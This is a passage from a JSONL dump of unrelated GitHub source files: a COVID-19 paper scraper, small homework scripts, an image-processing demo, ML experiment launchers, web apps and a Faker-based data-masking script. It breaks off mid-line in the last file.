url.endswith('.tar.gz'):\n yield Request(\n url=url,\n callback=self.parse_gzip,\n meta={'download_maxsize': 0, 'download_warnsize': 0},\n dont_filter=True\n )\n\n def parse_gzip(self, response):\n fileio = io.BytesIO(response.body)\n gzipfile = gzip.GzipFile(fileobj=fileio, mode='rb')\n archive = tarfile.TarFile(fileobj=gzipfile, mode='r')\n\n content_type = response.meta['content_type']\n collection = self.db[self.subset_collection_map[content_type]]\n\n for file in archive.getmembers():\n path = file.name\n\n m = re.search(r'([\\w_]+)[/\\\\].*?json', path)\n if not m:\n continue\n\n additional_annotation = m.group(1)\n\n contents = archive.extractfile(file)\n data = json.load(contents)\n paper_id = data['paper_id']\n\n insert = True\n\n old_doc = collection.find_one({'paper_id': data['paper_id']})\n if old_doc is not None:\n old_doc = {x: old_doc[x] for x in data}\n if old_doc == data:\n insert = False\n\n if insert:\n self.logger.info(\"Insert paper with id %s\", paper_id)\n data.update({\n 'last_updated': datetime.now(),\n # '_additional_flags': additional_annotation,\n })\n collection.insert_one(data)\n\n def parse_csv(self, response):\n def correct_pd_dict(input_dict):\n \"\"\"\n Correct the encoding of python dictionaries so they can be encoded to mongodb\n https://stackoverflow.com/questions/30098263/inserting-a-document-with-\n pymongo-invaliddocument-cannot-encode-object\n inputs\n -------\n input_dict : dictionary instance to add as document\n output\n -------\n output_dict : new dictionary with (hopefully) corrected encodings\n \"\"\"\n\n output_dict = {}\n for key1, val1 in input_dict.items():\n # Nested dictionaries\n if isinstance(val1, dict):\n val1 = correct_pd_dict(val1)\n\n if isinstance(val1, np.bool_):\n val1 = bool(val1)\n\n if isinstance(val1, np.int64):\n val1 = int(val1)\n\n if isinstance(val1, np.float64):\n val1 = float(val1)\n\n if isinstance(val1, set):\n val1 = list(val1)\n\n output_dict[key1] = val1\n\n return output_dict\n\n fileio = io.StringIO(response.body.decode('utf-8'))\n\n df = pd.read_csv(\n fileio,\n dtype={\n 'pubmed_id': str,\n 'pmcid': str,\n 'publish_time': str,\n 'Microsoft Academic Paper ID': str,\n }\n )\n df = df.fillna('')\n\n content_type = response.meta['content_type']\n collection = self.db[self.subset_collection_map[content_type]]\n\n for i in range(len(df)):\n data = correct_pd_dict(df.iloc[i].to_dict())\n\n insert = True\n\n old_doc = collection.find_one({'cord_uid': data['cord_uid']})\n if old_doc is not None:\n old_doc = {x: old_doc.get(x, None) for x in data}\n if old_doc == data:\n insert = False\n\n if insert:\n self.logger.info(\"Insert paper with cord_uid %s\", data['cord_uid'])\n data.update({\n 'last_updated': datetime.now(),\n })\n collection.insert_one(data)\n","repo_name":"COVID-19-Text-Mining/biorxiv-scraper","sub_path":"COVID_19_biorxiv_scraper/spiders/cord_19.py","file_name":"cord_19.py","file_ext":"py","file_size_in_byte":6738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"2291351721","text":"# 1. Import the text\nimport requests\nr = requests.get(\"https://raw.githubusercontent.com/itb-ie/contest/master/text.txt\")\ntext = r.text\nprint(text)\n\n# 2. Create the variables\nvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\nn_vol = []\n\n# 3. Count the vowels in each line\nfor line in text.split(\"\\n\"):\n sum = 0\n for char in line:\n if char in vowels:\n sum += 1\n n_vol.append(sum) # Appends the result, sum, to the n_vol list.\nprint(n_vol)\n\n# 4. Associate the number of vowels with a letter\nalphabet = \" abcdefghijklmnopqrstuvwxyz\" # the space is needed as the enumerate function starts from 0\n\nmapping = {}\nfor i, letter in enumerate(alphabet):\n mapping[i] = letter\nprint(mapping)\n\nstr = \"\"\nfor i in n_vol:\n temp = mapping[i]\n str += temp\nprint(f'The encrypted code is: {str}')\n","repo_name":"mmerino02/final_homework_session7","sub_path":"Homework: Encrypted Code.py","file_name":"Homework: Encrypted Code.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"36238759058","text":"f1=open('all_pos.txt','r')\r\nf2=open('all_pos_unique.bed','w')\r\nlist1=f1.readlines()\r\nlist1=list(set(list1))\r\nlist2=sorted(list1)\r\nfor i in list2:\r\n\ttmp=i.strip().split(':')\r\n\tif len(tmp)==2:\r\n\t\tf2.write('\\t'.join([tmp[0],tmp[1],tmp[1]])+'\\n')\r\n\telse:\r\n\t\tprint(i)","repo_name":"daishaoxing/OA-SCNT","sub_path":"DNA_offtarget/step0_pos2bed.py","file_name":"step0_pos2bed.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"19049376612","text":"import socket\nimport json\n#listo\n\ndef getSize(size):\n count = 0\n n = size\n while n != 0:\n n //= 10\n count += 1\n\n size = str(size)\n while count < 5:\n size = '0' + size\n count +=1\n return size\n\ndef Usuarios(cod): #cod -> ID usuario\n # Cargar el JSON desde el archivo\n with open('BDD/BDD.json', 'r') as archivo:\n datos = json.load(archivo)\n\n # ID del usuario que quieres eliminar\n id_usuario_eliminar = cod # Reemplaza con el ID del usuario que deseas eliminar\n\n # Encontrar y eliminar el usuario si está presente\n for usuario in datos['usuarios']:\n if usuario['ID_Usuario'] == id_usuario_eliminar:\n datos['usuarios'].remove(usuario)\n break # Romper el bucle una vez que se elimine el usuario\n\n # Guardar los cambios en el archivo JSON\n with open('BDD/BDD.json', 'w') as archivo:\n json.dump(datos, archivo, indent=4)\n \n return \"Usuario Eliminado\"\n\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nhost = 'localhost'\nport = 5002\n\nsock.connect((host, port))\nsock.send(b'00010siniteluse')\ndata = sock.recv(4096)\nprint(data.decode())\ntry:\n while True:\n \n data = sock.recv(4096)\n data = data.decode()[10:]\n\n service = 'eluse'\n\n aux = Usuarios(data) #IDs de los Mazos del Usuario\n \n if aux == False:\n sock.send(b'00014eluseOKnofound')\n \n else:\n size = len(aux) + len(service)\n msg = getSize(size) + 'eluseOK' + aux\n sock.send(msg.encode(\"utf-8\")) \n \nfinally:\n print(\"cerrando socket\")\n sock.close()","repo_name":"Ignacio-ibarra05/Proyecto-Arquitectura-de-software","sub_path":"Proyecto_Arqui_Soft/Proyecto Final/eluse.py","file_name":"eluse.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"16221820688","text":"# Writeaprogramthataskstheusertoentertheiremailaddressandcheckswhetheritisvalidornot.Forthepurposeofthisexercise,youcanmaketheassumptionthatavalidemailaddresscontainsa“@”symboland a “.” symbol.\nimport re\nregex = r'\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Z|a-z]{2,}\\b'\n#user_input = input(\"Enter your email: \")\n\n\ndef check(email):\n\n # pass the regular expression\n # and the string in search() method\n if(re.match(regex, email)):\n print(\"Valid Email\")\n\n else:\n print(\"Invalid Email\")\n\n\nif __name__ == '__main__':\n\n # Enter the email\n email = \"ankitrai326@gmail.com\"\n\n # calling run function\n check(email)\n\n email = \"my.ownsite@our-earth.org\"\n check(email)\n\n email = \"ankitrai326.com\"\n check(email)\n","repo_name":"julia-ediamond/python","sub_path":"conditionals/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"74630353481","text":"import tkinter as tk\r\nfrom tkinter import *\r\nimport customtkinter\r\nfrom tkinter import filedialog\r\nfrom tkinter.filedialog import askopenfile\r\nfrom PIL import Image, ImageTk\r\nimport numpy as np\r\nimport cv2\r\nfrom matplotlib import pyplot as plt\r\nimport random # to create noise\r\n\r\n\r\n\r\n# Create a Tkinter window\r\nmy_w = customtkinter.CTk()\r\nmy_w.title('Image Processing')\r\nmy_font1 = ('arial', 20, 'bold')\r\nmy_font2 = ('arial', 15)\r\nmy_w.geometry(\"300x300\")\r\n\r\n\r\nl1 = customtkinter.CTkLabel(master=my_w, text='Upload your Image', width=30, font=my_font1)\r\nl1.place(relx=0.5, rely=0.3, anchor=CENTER)\r\n\r\nwidth = 300 # Width\r\nheight = 300 # Height\r\n\r\nscreen_width = my_w.winfo_screenwidth() # Width of the screen\r\nscreen_height = my_w.winfo_screenheight() # Height of the screen\r\n\r\n# Calculate Starting X and Y coordinates for Window\r\nx = (screen_width / 2) - (width / 2)\r\ny = (screen_height / 2) - (height / 2)\r\n\r\nmy_w.geometry('%dx%d+%d+%d' % (width, width, x, y))\r\ncustomtkinter.set_appearance_mode(\"dark\")\r\ncustomtkinter.set_default_color_theme(\"blue\")\r\n# Function to upload and process an image\r\ndef upload_and_process():\r\n f_types = [('Jpg Files', '*.jpg')]\r\n file_path = filedialog.askopenfilename(filetypes=f_types)\r\n\r\n if file_path:\r\n # Process the uploaded image\r\n im = cv2.imread(file_path)\r\n image = cv2.cvtColor(im, cv2.COLOR_BGR2RGB)\r\n image_gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\r\n image_blur = cv2.blur(image, (50, 50))\r\n image_gaussianblur = cv2.GaussianBlur(image, (15, 15), 500)\r\n image_noise = sp_noise(image, 0.1)\r\n image_blurednoise = cv2.blur(image_noise, (15, 15))\r\n\r\n plt.figure(figsize=(12, 6))\r\n plt.subplot(231), plt.imshow(image), plt.title('Original Image')\r\n plt.xticks([])\r\n plt.yticks([])\r\n plt.subplot(232), plt.imshow(image_gray, cmap='gray'), plt.title('Image in Gray')\r\n plt.xticks([])\r\n plt.yticks([])\r\n plt.subplot(233), plt.imshow(image_blur), plt.title('Image with Blur')\r\n plt.xticks([])\r\n plt.yticks([])\r\n plt.subplot(234), plt.imshow(image_gaussianblur), plt.title('Image with Gaussian Blur')\r\n plt.xticks([])\r\n plt.yticks([])\r\n plt.subplot(235), plt.imshow(image_noise), plt.title('Image with Noise')\r\n plt.xticks([])\r\n plt.yticks([])\r\n plt.subplot(236), plt.imshow(image_blurednoise), plt.title('Image with Noise and then Blur')\r\n plt.xticks([])\r\n plt.yticks([])\r\n\r\n plt.tight_layout()\r\n plt.show()\r\n\r\n\r\n# Upload File button\r\nb1 = customtkinter.CTkButton(master=my_w, text='Select Image', width=35,corner_radius=15,font=my_font2, command=upload_and_process)\r\nb1.place(relx=0.5, rely=0.43, anchor=CENTER)\r\n\r\n\r\ndef sp_noise(image, prob):\r\n output = np.zeros(image.shape, np.uint8)\r\n thres = 1 - prob\r\n for i in range(image.shape[0]):\r\n for j in range(image.shape[1]):\r\n rdn = random.random()\r\n if rdn < prob:\r\n output[i][j] = 0\r\n elif rdn > thres:\r\n output[i][j] = 255\r\n else:\r\n output[i][j] = image[i][j]\r\n return output\r\n\r\n\r\n\r\nmy_w.mainloop()\r\n","repo_name":"niteazi/upload_image--testing-opencv","sub_path":"testupload.py","file_name":"testupload.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"6676971698","text":"def testGetCoin():\n # define total to be zero to start with\n total = 0\n # user enters change in a comma delimited format. e.g. n,n,q,d\n userInput = eval(input(\"Enter your change: \"))\n # Store the input length to be used in the for loop\n length = len(userInput)\n # Loop over each input and add it to total\n for i in range(0, length):\n total += userInput[i]\n # Divide total by 100 to get the correct value of all the coins\n total /= 100\n return total\n\ndef main():\n # Print result with 2 decimal places so it looks like real money\n print(\"$\", \"%.2f\" % testGetCoin())\n\nmain()","repo_name":"emilyobrien17/P4-OBrienEmily","sub_path":"testGetCoins.py","file_name":"testGetCoins.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"6829042857","text":"import torch\nimport sys\nimport math\nfrom PIL import Image, ImageOps, ImageEnhance, PILLOW_VERSION\ntry:\n import accimage\nexcept ImportError:\n accimage = None\nimport numpy as np\nimport numbers\nimport collections\nimport warnings\n\nif sys.version_info < (3, 3):\n Sequence = collections.Sequence\n Iterable = collections.Iterable\nelse:\n Sequence = collections.abc.Sequence\n Iterable = collections.abc.Iterable\n\n\ndef _is_pil_image(img):\n if accimage is not None:\n return isinstance(img, (Image.Image, accimage.Image))\n else:\n return isinstance(img, Image.Image)\n\ndef _is_tensor_image(img):\n return torch.is_tensor(img) and img.ndimension() == 3\n\ndef _is_numpy_image(img):\n return isinstance(img, np.ndarray) and (img.ndim in {2, 3})\n\n\ndef sift():\n pass\n\ndef random_sift():\n pass\n\ndef pad_random_sift(img, canvas_size, fill=0):\n r\"\"\"Pad and randomly sift PIL Image to the given canvas size.\n Args:\n img (PIL Image): Image to be resized.\n canvas_sizes (sequence[h, w] or int): Desired output minimum size. \n Returns:\n PIL Image: Resized image.\n \"\"\"\n if not _is_pil_image(img):\n raise TypeError('img should be PIL Image. Got {}'.format(type(img)))\n if not (isinstance(canvas_size, int) or (isinstance(canvas_size, Iterable) and len(canvas_size) == 2)):\n raise TypeError('Got inappropriate canvas_size arg: {}'.format(canvas_size))\n canvas_size = [canvas_size, canvas_size] if isinstance(canvas_size, int) else canvas_size\n W, H = img.size\n \n if canvas_size[0] <= W or canvas_size[1] <= H:\n raise ValueError('canvas_size is higher than input image size: {}'.format(canvas_size))\n \n # left top point\n origin_range = [canvas_size[0] - W, canvas_size[1] - H]\n\n _x = np.random.choice(origin_range[0])\n _y = np.random.choice(origin_range[1])\n \n pad_top = _y\n pad_bottom = canvas_size[1] - (H + pad_top)\n pad_left = _x\n pad_right = canvas_size[0] - (W + pad_left)\n \n if img.mode == 'P':\n palette = img.getpalette()\n img = np.asarray(img)\n img = np.pad(img, ((pad_top, pad_bottom), (pad_left, pad_right)), 'constant')\n img = Image.fromarray(img)\n img.putpalette(palette)\n return img\n \n img = np.asarray(img)\n # RGB image\n if len(img.shape) == 3:\n img = np.pad(img, ((pad_top, pad_bottom), (pad_left, pad_right), (0, 0)), 'constant')\n # Grayscale image\n if len(img.shape) == 2:\n img = np.pad(img, ((pad_top, pad_bottom), (pad_left, pad_right)), 'constant')\n return Image.fromarray(img)\n\n \ndef random_resize(img, min_size, max_size, equal_aspect=False, interpolation=Image.BILINEAR):\n r\"\"\"Resize the input PIL Image to the given size.\n Args:\n img (PIL Image): Image to be resized.\n min_sizes (sequence[h, w] or int): Desired output minimum size. \n max_sizes (sequence[h, w] or int): Desired output maximum size. \n equal_aspect (bool, optional) : \n Returns:\n PIL Image: Resized image.\n \"\"\"\n if not _is_pil_image(img):\n raise TypeError('img should be PIL Image. Got {}'.format(type(img)))\n if not (isinstance(min_size, int) or (isinstance(min_size, Iterable) and len(min_size) == 2)):\n raise TypeError('Got inappropriate min_size arg: {}'.format(min_size))\n if not (isinstance(max_size, int) or (isinstance(max_size, Iterable) and len(max_size) == 2)):\n raise TypeError('Got inappropriate max_size arg: {}'.format(max_size))\n min_size = [min_size, min_size] if isinstance(min_size, int) else min_size\n max_size = [max_size, max_size] if isinstance(max_size, int) else max_size\n\n size = []\n for i in range(2):\n if min_size[i] == max_size[i]:\n sample = min_size[i]\n elif min_size[i] > max_size[i]:\n raise ValueError('min_size[%d] (%d) must be lower than max_size[%d] (%d).' % (\n i, min_size[i], i, max_size[i]))\n else:\n sample = np.random.choice(range(min_size[i], max_size[i]))\n size.append(sample)\n\n if equal_aspect:\n size[1] = size[0]\n \n return img.resize(size[::-1], interpolation)\n","repo_name":"0h-n0/torchex","sub_path":"torchex/data/functional.py","file_name":"functional.py","file_ext":"py","file_size_in_byte":4188,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"63"} +{"seq_id":"21253777649","text":"datasets = \"\"\"Amazon-Google\nDBLP-ACM\nDBLP-GoogleScholar\nWalmart-Amazon\nAbt-Buy\"\"\".split('\\n')\n\nssl_eps = [3, 3, 3, 3, 3]\nmultipliers = [8, 8, 8, 8, 8]\n\nresult_path = 'results_em_combined/'\nsizes = [500]\nlm = 'roberta'\nda = 'cutoff'\nssl_method = 'combined'\nclustering = True\nbatch_size = 64\nn_epochs_list = [70]\n\n# if clustering:\n# multipliers = [8]\n# else:\n# multipliers = [5, 5, 5, 5, 4]\n\nimport os\nimport time\n\n# os.system(\"export MLFLOW_EXPERIMENT_NAME=sudowoodo\")\n\n# parameters = [(\"combined\", \"cutoff\", True, \"bootstrap\"),\n# (\"mtl\", \"cutoff\", True, \"bootstrap\"),\n# (\"simclr\", \"cutoff\", True, \"bootstrap\"),\n# (\"barlow_twins\", \"cutoff\", True, \"bootstrap\"),\n# (\"combined\", \"del\", True, \"bootstrap\"),\n# (\"combined\", \"cutoff\", False, \"bootstrap\"),\n# (\"combined\", \"cutoff\", True, \"None\")]\n\nparameters = [(\"simclr\", \"del\", False, \"None\"),\n (\"simclr\", \"del\", False, \"bootstrap\"),\n (\"simclr\", \"del\", True, \"bootstrap\")]\n\n# DM + RoBERTa\nfor param in parameters:\n ssl_method, da, clustering, setting = param\n\n for dataset, ssl_ep, mul in zip(datasets, ssl_eps, multipliers):\n for n_epochs, size in zip(n_epochs_list, sizes):\n if ssl_method == 'mtl' or setting == 'None':\n n_epochs = 30\n\n for run_id in range(5):\n # cmd = \"\"\"CUDA_VISIBLE_DEVICES=1 python train_bt.py \\\n cmd = \"\"\"python train_bt.py \\\n --mlflow_tag ablation \\\n --task_type em \\\n --task %s \\\n --ssl_method %s \\\n --multiplier %d \\\n --logdir %s \\\n --batch_size %d \\\n --lr 5e-5 \\\n --lm %s \\\n --n_ssl_epochs %d \\\n --n_epochs %d \\\n --max_len 128 \\\n --projector 768 \\\n --da %s \\\n --fp16 \\\n --size %d \\\n --run_id %d\"\"\" % (dataset, ssl_method, mul, result_path, batch_size, lm, ssl_ep,\n n_epochs, da, size, run_id)\n if setting in ['bootstrap', 'zero']:\n cmd += ' --%s' % setting\n if clustering:\n cmd += ' --clustering'\n # if run_id == 0:\n # cmd += ' --save_ckpt'\n # else:\n # cmd += ' --use_saved_ckpt'\n print(cmd)\n os.system('sbatch -c 1 -G 1 -J my-exp --tasks-per-node=1 --wrap=\"%s\"' % cmd)\n # os.system(cmd)\n\n# python create_tasks.py | xargs -I {} sbatch -c 1 -G 1 -J my-exp --tasks-per-node=1 --wrap=\"{}\"\n\n","repo_name":"megagonlabs/sudowoodo","sub_path":"run_all_em.py","file_name":"run_all_em.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"63"} +{"seq_id":"9444252633","text":"# -*- coding: utf-8 -*-\n\"\"\" \n@Time : 2022/3/13 10:50\n@Author : Chen_Sir\n@FileName: draw_dataset_column.py\n@SoftWare: PyCharm\n\"\"\"\nimport numpy as np\nfrom pyecharts import Pie\nimport matplotlib.pyplot as plt\nbugs_name = ['Callstack Depth Attack',\n 'IntegerOverflow',\n 'IntegerUnderflow',\n 'Transaction Ordering Dependence',\n 'Reentry',\n 'Timestamp',\n ]\nbugs_number = ['882', '30991', '23642', '4305','306', '1454']\n\npie = Pie()\npie.add(\n \"\",\n bugs_name,\n bugs_number,\n is_label_show=True,\n is_more_utils=True,\n legend_pos=\"right\",\n)\npie.render(path=\"Bing1.html\")","repo_name":"momo1008666/CBGRU","sub_path":"result/draw_dataset_column/draw_dataset_column.py","file_name":"draw_dataset_column.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"63"} +{"seq_id":"40150010828","text":"### Widget setup\n### Initializes the personalized widget objects\n\nfrom chatterbot import ChatBot\nfrom chatterbot.trainers import ListTrainer\nimport os \nfrom widgets import *\n\n# set up and train the chatterbot\ndef setupChatBot(data):\n data.chatBot = ChatBot(\"BuddyBot\")\n data.chatBot.set_trainer(ListTrainer)\n \n trainingData = \"/Users/estherjang/Downloads/chatterbot-corpus-master/chatterbot_corpus/data/english/\"\n \n for files in os.listdir(trainingData):\n trainingFile = open(trainingData + files, 'r').readlines()\n data.chatBot.train(trainingFile)\n\n# Initialize the settings options\ndef makeSettingsOptions(data):\n data.goHomeOption = SettingsOption(data.width / 6, data.height / 5, data.width / 30, \"Go back home\", \"dark grey\", data.height // 18)\n data.changeColorOption = SettingsOption(data.width / 6, data.height * 3 / 10, data.width / 30, \"Change bot color\", data.botColor, data.height // 18)\n data.faceDetectionOption = SettingsOption(data.width / 6, data.height * 2 / 5, data.width / 30, \"Turn off face detection (currently on)\", \"dark grey\", data.height // 18)\n data.clearLogOption = SettingsOption(data.width / 6, data.height / 2, data.width / 30, \"Clear log\", \"dark grey\", data.height // 18)\n data.saveLogOption = SettingsOption(data.width / 6, data.height * 3 / 5, data.width / 30, \"Save log\", \"dark grey\", data.height // 18)\n\n# Initializes the settings icon\ndef makeSettingsIcon(data):\n lineLen = data.width / 25\n lineHeight = data.height / 90\n leftCor = data.width / 40\n data.settingsIcon = SettingsIcon(lineLen, lineHeight, leftCor) \n\n# Initializes the buttons on the screen\ndef makeButtons(data):\n startY = data.height * 9 / 20\n helpY = data.height * 3 / 5\n buttonW = data.width / 10\n buttonH = data.height / 20\n buttonFontSize = data.height // 18\n data.startButton = ScreenButton(data, data.width / 2, startY, \"Start\")\n data.helpButton = ScreenButton(data, data.width / 2, helpY, \"Help\")\n backX = data.width / 8\n backY = data.height / 10\n data.backButton = ScreenButton(data, backX, backY, \"Back\")\n data.botModeButton = ScreenButton(data, data.width / 4, data.height / 2, \"BuddyBot Chat\")\n data.friendModeButton = ScreenButton(data, data.width * 3 / 4, data.height / 2, \"Friend Chat\")\n data.botModeButton.width = data.width / 6\n data.botModeButton.height = data.height / 4\n data.friendModeButton.width = data.width / 6\n data.friendModeButton.height = data.height / 4","repo_name":"esther-j/BuddyChat","sub_path":"widgetSetup.py","file_name":"widgetSetup.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"15206913361","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom bottle import *\nimport json\nimport spotipy\nfrom spotip import spotip\nfrom sr_api import sr_api\n\n@route(\"/static/\")\ndef server_static(filepath):\n\t\"\"\"CSS\"\"\"\n\treturn static_file(filepath, root=\"static\")\n\n@route('/')\ndef start():\n\t'''Loads mainpage'''\n\treturn template (\"index\")\n\n@route('/search/')\ndef get_track():\n\t'''Searching after song playing on sr, then takes the result and searching after song on spotify. Returns the result as template or JSON if asked'''\n\tsong, text, time = sr_api(request)\n\tpic, url, url_pic = spotip(song)\n\n\tif request.headers.get('Accept') == \"application/json\":\n\t\tresponse.set_header(\"Content-Type\", \"application/json\")\n\t\tif pic == \"../static/bilder/spono.jpg\":\n\t\t\tjson_obj = {\"song\": {\"song\": song, \"spotify_url\": None, \"pic_url\": None, \"sr_playtime\": time}}\n\t\t\treturn json.dumps(json_obj)\n\t\telse:\n\t\t\tjson_obj = {\"song\": {\"song\": song, \"spotify_url\": url, \"pic_url\": pic, \"sr_playtime\": time}}\n\t\t\treturn json.dumps(json_obj)\n\telse:\n\t\treturn template (\"search\", tracks=song, pic=pic, url=url, url_pic=url_pic, text=text, time=time)\n\n\nrun(host='localhost', port=8080, debug=True, reloader=True)","repo_name":"HannesDB/Skurtify","sub_path":"src/skurtify.py","file_name":"skurtify.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"22363480820","text":"from django.contrib.auth import get_user_model\nfrom django.core.exceptions import ValidationError\n\n# 에러메시지를 필드에 표시하기 위해 뷰가 아닌 필드에서 유효성 검증하기\n# 필드의 유효성 검증 필터는 반드시 __call__ 메소드를 오버라이드 해줘야함\n# __call__ : 인스턴스를 invoke 연산자(소괄호)로 호출시 실행하는 함수 Ex)RegisteredEmailValidator()\n# 원래 클래스의 인스턴스는 invoke 연산자로 호출이 불가능함, 파이썬에서는 함수도 객체인데, __call__ 메소드가 구현되어 있다고 생각하면 됨\nclass RegisteredEmailValidator:\n user_model = get_user_model()\n code = 'Invalid'\n\n def __call__(self, email):\n try:\n user = self.user_model.objects.get(email=email)\n except self.user_model.DoesNotExist:\n raise ValidationError('가입되지 않은 이메일입니다.', code=self.code)\n else:\n if user.is_active:\n raise ValidationError('이미 인증되어 있습니다.', code=self.code)\n\n return","repo_name":"Odreystella/my-place-record-project2","sub_path":"user/validators.py","file_name":"validators.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"9970637368","text":"import pandas as pd\nfrom aitextgen.TokenDataset import TokenDataset\nfrom aitextgen.tokenizers import train_tokenizer\nfrom aitextgen.utils import GPT2ConfigCPU\nfrom aitextgen import aitextgen\nfrom faker import Faker\nfrom random import shuffle, sample, randint, random\nimport ast\nimport re\n\n\nclass artificial_data(object):\n\n def __init__(self):\n # Train a data2text model to generate artificial description of project on the website\n file_name = 'dataset_des.txt'\n self.ai_text_generator(file_name)\n # Load the trained model\n self.ai_text = aitextgen(model_folder=\"trained_model\", tokenizer_file=\"aitextgen.tokenizer.json\")\n\n # Use Faker package to generate fake users' information\n self.fake = Faker()\n\n # Mask users' features\n all_user_features = pd.read_csv('user_feature.csv',index_col=0)\n all_user_features = self.user_feature_mask(all_user_features)\n all_user_features = self.clean_all_user_features(all_user_features)\n all_user_features.to_csv('fake_all_user_features.csv')\n\n # Mask users' activities features\n # Join the users' activities datasets into one dataframe as match_df\n datasets_list = ['top_click_all.csv','visits_30_user.csv','course_enrolments.csv','order_info.csv']\n match_df = self.concat_match_df(datasets_list,all_user_features)\n match_df = self.match_df_mask(match_df)\n match_df.to_csv('match_df.csv')\n\n\n\n def ai_text_generator(self,file_name):\n \"\"\"Train a data to text model to generate artificial text for project description, and save the model\n as file.\n\n Args: file name of input text dataset\n\n Returns: None\n \"\"\"\n\n # Train a custom BPE Tokenizer on the downloaded text\n # This will save one file: `aitextgen.tokenizer.json`, which contains the\n # information needed to rebuild the tokenizer.\n train_tokenizer(file_name)\n tokenizer_file = \"aitextgen.tokenizer.json\"\n\n # GPT2ConfigCPU is a mini variant of GPT-2 optimized for CPU-training\n config = GPT2ConfigCPU()\n\n # Instantiate aitextgen using the created tokenizer and config\n ai = aitextgen(tokenizer_file=tokenizer_file, config=config)\n\n # Build datasets for training by creating TokenDatasets,\n # which automatically processes the dataset with the appropriate size.\n data = TokenDataset(file_name, tokenizer_file=tokenizer_file, block_size=64)\n\n # Train the model. It will save pytorch_model.bin periodically and after completion to the `trained_model` folder.\n # On a 2019 Macbook Pro, this took ~50 minutes to run.\n ai.train(data, batch_size=8, num_steps=50000, generate_every=5000, save_every=5000)\n return None\n\n\n\n def user_feature_mask(self,all_user_features):\n \"\"\"Masks the user's information with fake data. Meanwhile, computes resampling of data\n because of the sparsity of the dataset.\n\n Args: (pandas.dataframe) users features data\n\n Returns: (pandas.dataframe) masked users features data\n \"\"\"\n\n # fake username of the email address\n all_user_features['email'] = [self.fake.user_name()+ '@' + all_user_features['email'].values[i].split('@')[1]\n for i in range(0,all_user_features.shape[0])]\n\n # fake username, first_name, last_name\n all_user_features['username'] = [self.fake.user_name() for _ in range(0,all_user_features.shape[0])]\n all_user_features['first_name'] = [self.fake.first_name() for _ in range(0,all_user_features.shape[0])]\n all_user_features['last_name'] = [self.fake.last_name() for _ in range(0,all_user_features.shape[0])]\n \n # shuffle and resample company, job_title, education, university, major\n all_user_features['company'] = self.shuffle_list(list(all_user_features['company']))\n all_user_features['job_title'] = sample(list(all_user_features['job_title'])+\n list(set(all_user_features['job_title']))+\n [self.fake.job() for _ in range(40)],k=all_user_features.shape[0])\n all_user_features['education'] = sample(list(all_user_features['education'])+\n list(set(all_user_features['education']))*20,\n k=all_user_features.shape[0])\n all_user_features['university'] = sample(list(all_user_features['university'])+\n list(set(all_user_features['university']))*5,\n k=all_user_features.shape[0])\n all_user_features['major'] = sample(list(all_user_features['major'])+\n list(set(all_user_features['major']))*5,\n k=all_user_features.shape[0])\n \n # shuffle cols 11 - 40, 42 - 47\n for i in list(range(11,41))+list(range(42,48)):\n all_user_features.iloc[:,i] = self.shuffle_list(list(all_user_features.iloc[:,i]))\n\n # project_list, randomly append 200 project information in the null rows\n all_user_features[['project_list']] = all_user_features[['project_list']].applymap(self.literal_return)\n notnull_row_origin = list(all_user_features.loc[all_user_features['project_list'].notnull()].index)\n self.random_project_list(all_user_features,200)\n \n # num_follower, append random num to those users who is appended random project_list on previous step\n notnull_row = list(all_user_features.loc[all_user_features['project_list'].notnull()].index)\n append_row = list(set(notnull_row)-set(notnull_row_origin))\n all_user_features.loc[append_row,'num_follower'] = [randint(1,50) for _ in range(len(append_row))]\n\n # impact score, append impact score to those users who is appended random project_list on previous step\n # impact score range: 0 - 10\n all_user_features.loc[append_row,'impact_score'] = [random()*10 for _ in range(len(append_row))]\n \n return all_user_features\n\n\n def shuffle_list(self,df_col):\n shuffle(df_col)\n return df_col\n\n def random_project_list(self,all_user_features,num):\n \"\"\" Creats augmented project list for null value in features of project_list.\n\n Args: (pandas.dataframe) users features data\n (int) number of rows that need to append project list\n\n Returns: None\n \"\"\"\n\n # Random num of project in each list (range: 1-10)\n # project id is random number from 0 to 2000\n # project title and description generated by ai text generater, title with max_length 15\n # description with max_length 150\n # programing language is randomly chosen from a list of programing software\n programing = ['Python','R','C++','C','Other','Java',None]\n null_row = list(all_user_features.loc[all_user_features['project_list'].isnull()].index)\n random_append_index = sample(null_row,k = num)\n for i in random_append_index:\n project_num = randint(1,10)\n project_list = []\n for _ in range(project_num):\n info = (randint(0,2000),self.ai_text.generate(1,max_length = 15,return_as_list=True)[0],\n self.ai_text.generate(1,max_length = 